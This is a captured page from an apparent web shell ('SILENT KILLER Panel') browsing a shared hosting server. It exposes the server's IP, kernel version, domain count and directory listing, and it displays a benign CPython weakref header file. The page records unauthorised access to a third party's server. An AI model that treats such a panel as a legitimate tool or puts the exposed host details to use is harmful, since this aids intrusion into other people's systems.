SILENT KILLERPanel

Current Path: > > opt > alt > python312 > include > > python3.12 > cpython


Operation   : Linux premium131.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
Software     : Apache
Server IP    : 162.0.232.56 | Your IP: 216.73.216.111
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: //opt/alt/python312/include//python3.12/cpython

NameTypeSizeLast ModifiedActions
abstract.h File 7870 bytes June 03 2025 15:41:47.
bytearrayobject.h File 1163 bytes June 03 2025 15:41:47.
bytesobject.h File 4660 bytes June 03 2025 15:41:47.
cellobject.h File 1076 bytes June 03 2025 15:41:47.
ceval.h File 1650 bytes June 03 2025 15:41:47.
classobject.h File 2245 bytes June 03 2025 15:41:47.
code.h File 16188 bytes June 03 2025 15:41:47.
compile.h File 2660 bytes June 03 2025 15:41:47.
complexobject.h File 1248 bytes June 03 2025 15:41:47.
context.h File 1965 bytes June 03 2025 15:41:47.
descrobject.h File 1642 bytes June 03 2025 15:41:47.
dictobject.h File 4686 bytes June 03 2025 15:41:47.
fileobject.h File 818 bytes June 03 2025 15:41:47.
fileutils.h File 232 bytes June 03 2025 15:41:47.
floatobject.h File 900 bytes June 03 2025 15:41:47.
frameobject.h File 1108 bytes June 03 2025 15:41:47.
funcobject.h File 7188 bytes June 03 2025 15:41:47.
genobject.h File 3316 bytes June 03 2025 15:41:47.
import.h File 1623 bytes June 03 2025 15:41:47.
initconfig.h File 7820 bytes June 03 2025 15:41:47.
interpreteridobject.h File 387 bytes June 03 2025 15:41:47.
listobject.h File 1633 bytes June 03 2025 15:41:47.
longintrepr.h File 4889 bytes June 03 2025 15:41:47.
longobject.h File 4679 bytes June 03 2025 15:41:47.
memoryobject.h File 2272 bytes June 03 2025 15:41:47.
methodobject.h File 2276 bytes June 03 2025 15:41:47.
modsupport.h File 4336 bytes June 03 2025 15:41:47.
object.h File 21212 bytes June 03 2025 15:41:47.
objimpl.h File 3316 bytes June 03 2025 15:41:47.
odictobject.h File 1311 bytes June 03 2025 15:41:47.
picklebufobject.h File 848 bytes June 03 2025 15:41:47.
pthread_stubs.h File 3505 bytes June 03 2025 15:41:47.
pyctype.h File 1387 bytes June 03 2025 15:41:47.
pydebug.h File 1413 bytes June 03 2025 15:41:47.
pyerrors.h File 4276 bytes June 03 2025 15:41:47.
pyfpe.h File 444 bytes June 03 2025 15:41:47.
pyframe.h File 1479 bytes June 03 2025 15:41:47.
pylifecycle.h File 3423 bytes June 03 2025 15:41:47.
pymem.h File 3379 bytes June 03 2025 15:41:47.
pystate.h File 17228 bytes June 03 2025 15:41:47.
pythonrun.h File 4903 bytes June 03 2025 15:41:47.
pythread.h File 1418 bytes June 03 2025 15:41:47.
pytime.h File 12402 bytes June 03 2025 15:41:47.
setobject.h File 2146 bytes June 03 2025 15:41:47.
sysmodule.h File 489 bytes June 03 2025 15:41:47.
traceback.h File 444 bytes June 03 2025 15:41:47.
tupleobject.h File 1377 bytes June 03 2025 15:41:47.
unicodeobject.h File 35296 bytes June 03 2025 15:41:47.
warnings.h File 564 bytes June 03 2025 15:41:47.
weakrefobject.h File 2032 bytes June 03 2025 15:41:47.

Reading File: //opt/alt/python312/include//python3.12/cpython/weakrefobject.h

#ifndef Py_CPYTHON_WEAKREFOBJECT_H
#  error "this header file must not be included directly"
#endif

/* PyWeakReference is the base struct for the Python ReferenceType, ProxyType,
 * and CallableProxyType.
 */
struct _PyWeakReference {
    PyObject_HEAD

    /* The object to which this is a weak reference, or Py_None if none.
     * Note that this is a stealth reference:  wr_object's refcount is
     * not incremented to reflect this pointer.
     */
    PyObject *wr_object;

    /* A callable to invoke when wr_object dies, or NULL if none. */
    PyObject *wr_callback;

    /* A cache for wr_object's hash code.  As usual for hashes, this is -1
     * if the hash code isn't known yet.
     */
    Py_hash_t hash;

    /* If wr_object is weakly referenced, wr_object has a doubly-linked NULL-
     * terminated list of weak references to it.  These are the list pointers.
     * If wr_object goes away, wr_object is set to Py_None, and these pointers
     * have no meaning then.
     */
    PyWeakReference *wr_prev;
    PyWeakReference *wr_next;
    vectorcallfunc vectorcall;
};

PyAPI_FUNC(Py_ssize_t) _PyWeakref_GetWeakrefCount(PyWeakReference *head);

PyAPI_FUNC(void) _PyWeakref_ClearRef(PyWeakReference *self);

static inline PyObject* PyWeakref_GET_OBJECT(PyObject *ref_obj) {
    PyWeakReference *ref;
    PyObject *obj;
    assert(PyWeakref_Check(ref_obj));
    ref = _Py_CAST(PyWeakReference*, ref_obj);
    obj = ref->wr_object;
    // Explanation for the Py_REFCNT() check: when a weakref's target is part
    // of a long chain of deallocations which triggers the trashcan mechanism,
    // clearing the weakrefs can be delayed long after the target's refcount
    // has dropped to zero.  In the meantime, code accessing the weakref will
    // be able to "see" the target object even though it is supposed to be
    // unreachable.  See issue gh-60806.
    if (Py_REFCNT(obj) > 0) {
        return obj;
    }
    return Py_None;
}
#define PyWeakref_GET_OBJECT(ref) PyWeakref_GET_OBJECT(_PyObject_CAST(ref))

SILENT KILLER Tool